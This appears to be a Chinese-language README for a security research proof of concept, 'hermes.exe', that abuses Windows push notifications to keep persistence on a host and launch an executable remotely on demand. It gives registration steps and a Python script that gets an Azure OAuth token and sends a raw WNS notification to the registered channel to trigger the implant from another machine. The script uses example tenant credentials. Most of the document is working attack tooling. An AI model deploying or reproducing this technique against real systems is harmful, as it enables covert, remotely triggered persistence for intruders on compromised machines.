一个通过 Windows 推送通知实现持久化的 PoC
更多技术细节和背景信息,请阅读我们的博客文章:https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence
在开始之前,你需要先 设置 Azure。然后,你需要运行一次该可执行文件,以便其自行注册推送通知。你只需将 Azure 应用的对象 ID 作为参数传入,如果一切顺利,它会打印 Microsoft 返回的通道 Uri。此时你就可以关闭该应用了。
hermes.exe <object_id>
如果未安装 SDK 1.3,该二进制文件将尝试连同必要的扩展一起部署它。
获得通道 Uri 后,你可以尝试从另一台机器远程启动你的可执行文件,只需使用你租户的详细信息调用通知 API,然后静待奇迹发生:
import requests
secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."
def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
# Acquire token
url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
'grant_type': 'client_credentials',
'client_id': app_id,
'client_secret': secret,
'scope': 'https://wns.windows.com/.default'
}
response = requests.post(url, headers=headers, data=data)
response_json = response.json()
token = response_json['access_token']
# Send notification
headers = {
'Content-Type': 'application/octet-stream',
'Authorization': f'Bearer {token}',
'X-WNS-Type': 'wns/raw',
}
response = requests.post(channel_uri, headers=headers, data=notification_data)
return response.status_code, response.text
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")